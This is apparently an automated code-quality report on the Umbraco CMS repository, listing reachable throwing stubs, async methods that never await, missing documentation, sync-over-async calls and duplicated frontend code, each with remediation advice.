`SiblingUserAccessEntities` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Services/Entities/UserStartNodeTreeFilterService.cs:90 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Cms.Api.Management/Services/Entities/IUserStartNodeEntitiesService.cs:161
`UpdateSortOrder` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ContentService.cs:1819 references it (1 further site(s) in this project). This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Persistence/Repositories/IContentRepository.cs:29
`FindListViewUsages` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/DataTypeService.cs:339 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Persistence/Repositories/IDataTypeRepository.cs:33
`GetAll` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/EntityService.cs:218 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:57
`GetAll` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/EntityService.cs:271 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:74
`Exists` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/EntityService.cs:158 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:218
`Exists` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/EntityService.cs:167 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:226
`GetByIdsAsync` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/WebhookService.cs:158 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Persistence/Repositories/IWebhookRepository.cs:39
`AddAsync` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Events/RelateOnCopyNotificationHandler.cs:83 references it (14 further site(s) in this project). This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Services/IAuditService.cs:22
`MoveBlueprint` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:238 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Services/IContentService.cs:50
`CreateBlueprintFromContent` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:144 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Services/IContentService.cs:67
`SortChildren` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ContentEditingService.cs:314 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Services/IContentService.cs:461
`Exists` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ImportExport/ContentTypeImportService.cs:92 references it (2 further site(s) in this project). This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Services/IEntityService.cs:78
`Exists` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/UserGroupService.cs:696 references it (1 further site(s) in this project). This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Services/IEntityService.cs:86
`SortChildren` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/MediaEditingService.cs:229 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Services/IMediaService.cs:381
`ImportMemberTypes` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/ImportExport/MemberTypeImportService.cs:90 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Services/IPackageDataInstallation.cs:36
`TryGetAsync` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/AuditEntryService.cs:200 references it (2 further site(s) in this project). This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Services/IUserIdKeyResolver.cs:21
`TryGetAsync` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Services/AuditEntryService.cs:210 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Services/IUserIdKeyResolver.cs:36
`Unfiltered` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Core/Extensions/PublishedContentExtensions.cs:115 references it (1 further site(s) in this project). This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Core/Services/PublishStatus/IPublishedStatusFilteringService.cs:23
`IsRebuildingAsync` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Infrastructure/Services/IndexingRebuilderService.cs:133 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Infrastructure/Examine/IIndexRebuilder.cs:68
`Batch` is declared `async` but never awaits anything, so it runs synchronously while pretending to be asynchronous. Drop `async` or do the real async work. (×2) — src/Umbraco.Cms.Api.Management/Controllers/DocumentType/BatchDocumentTypesController.cs:32, src/Umbraco.Cms.Api.Management/Controllers/MediaType/BatchMediaTypesController.cs:32
`Settings` is declared `async` but never awaits anything, so it runs synchronously while pretending to be asynchronous. Drop `async` or do the real async work. — src/Umbraco.Cms.Api.Management/Controllers/Install/SettingsInstallController.cs:51
`IConfigurationPresentationFactory` has 3 unfinished members out of 6 declared members (methods, properties, indexers and events, whether or not each carries a body) — a scaffolded type that was never implemented. — src/Umbraco.Cms.Api.Management/Factories/IConfigurationPresentationFactory.cs:13
`CreateDictionary` is a shipped member whose whole body throws NotImplementedException — scaffolding that was never completed. Implement it or remove the dead surface. — src/Umbraco.Core/Dictionary/ICultureDictionaryFactory.cs:26
`HandleAsync` is declared `async` but never awaits anything, so it runs synchronously while pretending to be asynchronous. Drop `async` or do the real async work. — src/Umbraco.Core/Handlers/WarnDocumentTypeElementSwitchNotificationHandler.cs:55
`GetHashCode` is a shipped member whose whole body throws NotImplementedException — scaffolding that was never completed. Implement it or remove the dead surface. (×2) — src/Umbraco.Core/Models/ContentSchedule.cs:85, src/Umbraco.Core/Models/ContentScheduleCollection.cs:319
`Move` is a shipped member whose whole body throws NotImplementedException — scaffolding that was never completed. Implement it or remove the dead surface. — src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:276
`CopyAsync` is a shipped member whose whole body throws NotImplementedException — scaffolding that was never completed. Implement it or remove the dead surface. — src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:288
`MoveToRecycleBin` is a shipped member whose whole body throws NotImplementedException — scaffolding that was never completed. Implement it or remove the dead surface. — src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:302
What to do
Finish or delete the unfinished stubs (NotImplementedException / empty / constant-returning bodies) — they are dead surface that looks live.
Clear the softer debt: remove commented-out code and dead branches, re-enable or delete skipped tests, and replace blanket warning suppressions with targeted ones.
Maturity · Maturity — Whether the repo and its projects have a README, and whether it's substantive and current.
Method: Filesystem scan: README presence, word count, and headings for depth; git history for staleness. Exhaustive across root and project dirs, deterministic.
6109 code files changed in the last 6 months but the README was not touched — it may no longer reflect the system.
What to do
Add a 'Testing' section to the root README — how to run the test suite.
Add an 'Architecture' / 'How it works' section to the root README — the high-level shape.
Add a README to the 28 of 30 project(s) that lack one — worth up to 1.9 pts.
Review the README against recent changes; refresh the parts that drifted.
Maturity · Maturity — Whether key decisions (ADRs) and the high-level shape (C4/diagrams) are written down.
Method: Filesystem scan: ADR folder/naming conventions or content, plus Mermaid/PlantUML/C4/architecture.md discovery. Exhaustive, deterministic.
No Architecture Decision Records found — no conventional ADR directory, no numbered `NNNN-title` documents in any markup this check reads, and nothing ADR-shaped by content. Design rationale recorded elsewhere (a design-notes tree, a mailing list, pull-request discussion) is not visible to this check and is not re-findable per decision, so a future maintainer cannot ask why one choice was made and get an answer.
What to do
Record significant decisions one document per decision — dated, stating the context, the decision and its consequences — and keep them together wherever your design docs already live (a conventional `docs/adr/` tree, with each file named `NNNN-title` in whatever markup those docs already use, is the most discoverable form).
Maturity · Maturity — Whether the README actually describes the code that exists (LLM-judged, advisory).
Method: Judged by language model at low temperature: README accuracy versus actual projects, within a disclosed tolerance. Advisory, not a measured number.
Readiness · Readiness — Whether an automated pipeline builds and tests every change.
Method: Filesystem scan: CI workflow files (.github/workflows, .gitlab-ci.yml, etc.) for build and test stages. Exhaustive, deterministic.
Do you agree with this assessment?
P10 · Library API & versioning6.0 / 10Adequate✓ Tool-verified
Readiness · Readiness — For a library: a deliberate (small) public API surface and explicit semantic versioning so consumers can depend on it safely.
Method: Roslyn scan: public API surface area and semantic-versioning markers (SemVer attributes, changelog entries) for libraries. Exhaustive, deterministic.
5454/6628 types (82%) are public. For a library, every public type is a stability contract — make internal-by-default and expose only the intended API.
What to do
Make types internal by default; expose only the deliberate public API so internals can change without breaking consumers.
Do you agree with this assessment?
P2 · Observability7.1 / 10Strong✓ Tool-verified
Readiness · Readiness — Whether the code is diagnosable in production — structured logging, tracing/metrics, health checks.
Only 15/21 service-like projects use logging (pure contract/DTO projects are excluded — they have nothing to log). Of those 21, 2 ship a process this repository operates; the rest are libraries their consumer hosts, where the logging decision belongs to the host.
What to do
Extend structured logging across the projects you operate, and give the library ones a diagnostics seam instead — an `EventSource`/`ActivitySource` the host can subscribe to, or an optional logger on your options object — rather than taking a logging dependency on your consumers' behalf.
Add OpenTelemetry tracing/metrics (ActivitySource / AddMetrics) so requests are traceable across the system, not just health-probable.
Readiness · Readiness — Whether SAST, secret/dependency scanning and performance benchmarking are wired in (presence, not runtime).
Method: Filesystem scan: SAST configuration, dependency-update automation, secret scanning, and a benchmark harness or benchmark step — in this repository's own ecosystem. Exhaustive, deterministic.
What to do
Enable Dependabot/Renovate or a dependency-review gate.
Add gitleaks/trufflehog in CI to block PRs that introduce committed secrets.
Readiness · Readiness — Whether releases are automated and safely reversible (probes, rolling updates, approval gates) — from manifests/pipeline files, not the live environment.
Method: Filesystem scan: deployment manifests/IaC (K8s YAML, Helm, Terraform) for rolling updates, probes, approval gates, migration hooks. Exhaustive, deterministic.
Do you agree with this assessment?
P5 · DR & Backup7.0 / 10Strong✓ Tool-verified
Readiness · Readiness — Whether disaster recovery is planned and codified — backups, geo-recovery, RTO/RPO, persistence guarantees — from IaC + container manifests + docs, never the live cloud.
Method: Filesystem scan: disaster recovery, backup, geo-recovery, RTO/RPO, persistence guarantees from IaC, manifests, and docs. Exhaustive, deterministic, never a live environment.
What to do
Document RTO/RPO and a tested restore procedure (a backup config alone isn't disaster recovery).
Readiness · Readiness — Whether releases are traceable — a maintained changelog and explicit version stamping.
Method: Filesystem scan: changelog file presence and version tags in csproj or git tags. Exhaustive, deterministic.
No CHANGELOG/HISTORY/RELEASES file — what shipped when isn't easy to reconstruct for support or audit. (Versioning/tagging makes releases traceable, but a changelog records the what.)
What to do
Keep a changelog (e.g. Keep-a-Changelog) recording what shipped in each release.
Readiness · Performance — Whether the code protects its performance with benchmarks — a benchmark suite, allocation/memory measurement, and (ideally) a CI gate. Presence is credited as a bonus, never a deduction.
Method: Repo + source scan: BenchmarkDotNet referenced (csproj/source), [Benchmark]/[MemoryDiagnoser] attribute counts, and a benchmark step in CI — scored as a bonus ladder (absence is neutral, never a deduction). Deterministic, presence detection.
Readiness · Performance — Whether the code is written to minimise allocations so it doesn't pressure its host's memory manager — buffer/slice views over copies, object pooling, stack or value-type allocation, and buffer writers. Reward-only: credited where present, never penalised where a simpler style is fine.
Raise allocation-aware density on the hot paths — currently 127 use(s) across 418,003 production line(s) (~0.3/1k). More Span/Memory, pooling (ArrayPool/ObjectPool), stackalloc and ValueTask on the allocation-heavy paths climbs this toward 10.
Readiness · Performance — Whether asynchronous code stays responsive — it avoids sync-over-async blocking (.Wait()/.GetAwaiter().GetResult()) that wastes threads and risks deadlock, and, where the code is a reusable library, awaits with ConfigureAwait(false) so it never captures and stalls its caller's context.
Method: Production-source scan: sync-over-async blocking (.Wait()/.GetAwaiter().GetResult()) counted everywhere, and — for a library with ≥5 awaits — the share of awaits using ConfigureAwait(false). Deterministic, syntax/text detection.
259 blocking call(s) on async work (.Wait()/.GetAwaiter().GetResult()) — these waste a thread and can deadlock wherever a synchronization context is in play (a UI thread, or a caller that has one).
What to do
Make the call chain async end-to-end and await it — never block on a Task with .Wait()/.GetAwaiter().GetResult().
Do you agree with this assessment?
R1 · Type Safety8.6 / 10Strong✓ Tool-verified
React / JS · Code Health — How much of the frontend is typed TypeScript vs untyped JavaScript.
Method: Frontend file inventory: the share of typed TypeScript vs untyped JavaScript across the source tree. Deterministic, exhaustive over frontend files.
What to do
Migrate the remaining .js/.jsx files to TypeScript.
React / JS · Code Health — Copy-pasted token-identical blocks across the frontend (the D4 clone algorithm over JS/TS tokens, D-386).
Method: Copy-pasted token-identical blocks across the frontend (the D4 clone algorithm run over JS/TS tokens). Deterministic.
691 of the duplicated blocks reported below have copies in at least two of the sibling directories block, clipboard, code-editor, content, core, data-type (+24 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/. That concentration is one structural fact, not 691 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 691 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/content/content/rollback/modal/content-rollback-modal.element.ts:4
75 of the duplicated blocks reported below have copies in at least two of the sibling directories collection, components, culture, entity, entity-action, entity-bulk-action (+27 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/core/. That concentration is one structural fact, not 75 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 75 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/core/collection/item/umb-entity-collection-item-element-base.element.ts:58
58 of the duplicated blocks reported below have copies in at least two of the sibling directories block, block-grid, block-list, block-rte, block-single, block-type under src/Umbraco.Web.UI.Client/src/packages/block/. That concentration is one structural fact, not 58 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 58 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/block/block-list/property-editors/block-list-editor/property-editor-ui-block-list.element.ts:41
25 of the duplicated blocks reported below have copies in at least two of the sibling directories anchor, block, blockquote, bold, bullet-list, character-map (+35 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/tiptap/extensions/. That concentration is one structural fact, not 25 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 25 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/tiptap/extensions/html-attr-class/html-attr-class.tiptap-api.ts:4
19 of the duplicated blocks reported below have copies in at least two of the sibling directories local-components, modals, partial-views, scripts, stylesheets, templates under src/Umbraco.Web.UI.Client/src/packages/templating/. That concentration is one structural fact, not 19 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 19 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/templating/partial-views/repository/partial-view-detail.server.data-source.ts:16
16 of the duplicated blocks reported below have copies in at least two of the sibling directories change-password, current-user, user, user-group under src/Umbraco.Web.UI.Client/src/packages/user/. That concentration is one structural fact, not 16 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 16 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/user/current-user/modals/current-user-mfa/current-user-mfa-modal.element.ts:14
15 of the duplicated blocks reported below have copies in at least two of the sibling directories collection, entity-actions, folder, item, recycle-bin, repository (+2 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/elements/. That concentration is one structural fact, not 15 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 15 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/elements/folder/user-permissions/input-element-folder-granular-user-permission.element.ts:15
14 of the duplicated blocks reported below have copies in at least two of the sibling directories checkbox-list, color-picker, content-picker, date-picker, dropdown, eye-dropper (+6 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/property-editors/. That concentration is one structural fact, not 14 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 14 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/property-editors/text-box/property-editor-ui-text-box.element.ts:93
11 of the duplicated blocks reported below have copies in at least two of the sibling directories apps, libs, packages under src/Umbraco.Web.UI.Client/src/. That concentration is one structural fact, not 11 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 11 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/libs/extension-api/controller/server-extension-registrator.controller.ts:78
7 of the duplicated blocks reported below have copies in at least two of the sibling directories document-blueprints, document-types, documents under src/Umbraco.Web.UI.Client/src/packages/documents/. That concentration is one structural fact, not 7 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 7 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/documents/document-blueprints/workspace/document-blueprint-workspace-editor.element.ts:4
7 of the duplicated blocks reported below have copies in at least two of the sibling directories entity-actions, item, property-editors, publishing, recycle-bin, redirect-management (+4 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/documents/documents/. That concentration is one structural fact, not 7 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 7 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/documents/documents/redirect-management/info-app/document-redirect-management-workspace-info-app.element.ts:40
7 of the duplicated blocks reported below have copies in at least two of the sibling directories detail, item under src/Umbraco.Web.UI.Client/src/packages/management-api/. That concentration is one structural fact, not 7 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 7 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/management-api/detail/cache-invalidation.manager.ts:7
6 of the duplicated blocks reported below have copies in at least two of the sibling directories input-color, input-dropdown, input-eye-dropper, input-number-range, input-slider, input-time-zone (+3 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/core/components/. That concentration is one structural fact, not 6 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 6 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/core/components/multiple-color-picker-input/multiple-color-picker-input.element.ts:26
5 of the duplicated blocks reported below have copies in at least two of the sibling directories default, tree-item, tree-item-card, tree-item-picker, view under src/Umbraco.Web.UI.Client/src/packages/core/tree/. That concentration is one structural fact, not 5 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 5 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on. — src/Umbraco.Web.UI.Client/src/packages/core/tree/tree-item-card/default/default-tree-item-card.element.ts:30
src/Umbraco.Web.UI.Client/src/packages/block/block-list/property-editors/block-list-editor/property-editor-ui-block-list.element.ts:41 · src/Umbraco.Web.UI.Client/src/packages/block/block-single/property-editors/block-single-editor/property-editor-ui-block-single.element.ts:42 — the two spans are one implementation copied and then locally edited — 1689 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/block/block-list/property-editors/block-list-editor/property-editor-ui-block-list.element.ts:41
src/Umbraco.Web.UI.Client/src/packages/content/content/rollback/modal/content-rollback-modal.element.ts:4 · src/Umbraco.Web.UI.Client/src/packages/documents/documents/rollback/modal/rollback-modal.element.ts:6 — these 2 files are line-for-line copies of one another — 244 lines are identical, in the same order, in every one of them — so this is one fact about the file set, not a block to extract. An edit made to one file and not the others changes behaviour silently, which is the failure a wholesale copy guarantees. Pick one file as the single source and derive the others from it (re-export it, spread it into the local overrides each variant genuinely needs, or generate the copies at build time) — the few lines that differ between the files are exactly the part each variant should still own. Check first whether the copies are deliberately standalone deliverables (a translation file seeded from its sibling and waiting to be translated); where they are, the duplication is the design, and the honest move is to mark the seeded file as untranslated rather than to let it pass as done. — src/Umbraco.Web.UI.Client/src/packages/content/content/rollback/modal/content-rollback-modal.element.ts:4
src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/schedule-publish/modal/document-schedule-modal.element.ts:3 · src/Umbraco.Web.UI.Client/src/packages/elements/publishing/schedule-publish/modal/element-schedule-modal.element.ts:3 — these 2 files are line-for-line copies of one another — 222 lines are identical, in the same order, in every one of them — so this is one fact about the file set, not a block to extract. An edit made to one file and not the others changes behaviour silently, which is the failure a wholesale copy guarantees. Pick one file as the single source and derive the others from it (re-export it, spread it into the local overrides each variant genuinely needs, or generate the copies at build time) — the few lines that differ between the files are exactly the part each variant should still own. Check first whether the copies are deliberately standalone deliverables (a translation file seeded from its sibling and waiting to be translated); where they are, the duplication is the design, and the honest move is to mark the seeded file as untranslated rather than to let it pass as done. — src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/schedule-publish/modal/document-schedule-modal.element.ts:3
src/Umbraco.Web.UI.Client/src/packages/core/menu/menu-tree-structure-workspace-context-base.ts:20 · src/Umbraco.Web.UI.Client/src/packages/core/menu/menu-variant-tree-structure-workspace-context-base.ts:23 — the two spans are one implementation copied and then locally edited — 1179 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/core/menu/menu-tree-structure-workspace-context-base.ts:20
src/Umbraco.Web.UI.Client/src/packages/block/block/workspace/views/edit/block-workspace-view-edit.element.ts:35 · src/Umbraco.Web.UI.Client/src/packages/content/content/workspace/views/edit/content-editor.element.ts:32 — the two spans are one implementation copied and then locally edited — 996 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/block/block/workspace/views/edit/block-workspace-view-edit.element.ts:35
src/Umbraco.Web.UI.Client/src/packages/elements/folder/user-permissions/input-element-folder-granular-user-permission.element.ts:15 · src/Umbraco.Web.UI.Client/src/packages/elements/user-permissions/input-element-granular-user-permission.element.ts:16 — the two spans are one implementation copied and then locally edited — 1085 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/elements/folder/user-permissions/input-element-folder-granular-user-permission.element.ts:15
src/Umbraco.Web.UI.Client/src/packages/documents/documents/collection/views/table/document-table-collection-view.element.ts:24 · src/Umbraco.Web.UI.Client/src/packages/media/media/collection/views/table/media-table-collection-view.element.ts:20 — the two spans are one implementation copied and then locally edited — 758 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/documents/documents/collection/views/table/document-table-collection-view.element.ts:24
src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/statusbar-configuration/property-editor-ui-tiptap-statusbar-configuration.element.ts:19 · src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/toolbar-configuration/property-editor-ui-tiptap-toolbar-configuration.element.ts:26 — the two spans are one implementation copied and then locally edited — 979 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/statusbar-configuration/property-editor-ui-tiptap-statusbar-configuration.element.ts:19
src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/statusbar-configuration/tiptap-statusbar-configuration.context.ts:11 · src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/toolbar-configuration/tiptap-toolbar-configuration.context.ts:15 — the two spans are one implementation copied and then locally edited — 1075 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/statusbar-configuration/tiptap-statusbar-configuration.context.ts:11
src/Umbraco.Web.UI.Client/src/packages/block/block-list/context/block-list-entries.context.ts:1 · src/Umbraco.Web.UI.Client/src/packages/block/block-single/context/block-single-entries.context.ts:1 — these 2 files are line-for-line copies of one another — 117 lines are identical, in the same order, in every one of them — so this is one fact about the file set, not a block to extract. An edit made to one file and not the others changes behaviour silently, which is the failure a wholesale copy guarantees. Pick one file as the single source and derive the others from it (re-export it, spread it into the local overrides each variant genuinely needs, or generate the copies at build time) — the few lines that differ between the files are exactly the part each variant should still own. Check first whether the copies are deliberately standalone deliverables (a translation file seeded from its sibling and waiting to be translated); where they are, the duplication is the design, and the honest move is to mark the seeded file as untranslated rather than to let it pass as done. — src/Umbraco.Web.UI.Client/src/packages/block/block-list/context/block-list-entries.context.ts:1
src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/workspace-context/document-publishing.workspace-context.ts:47 · src/Umbraco.Web.UI.Client/src/packages/elements/publishing/workspace-context/element-publishing.workspace-context.ts:31 — the two spans are one implementation copied and then locally edited — 822 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/workspace-context/document-publishing.workspace-context.ts:47
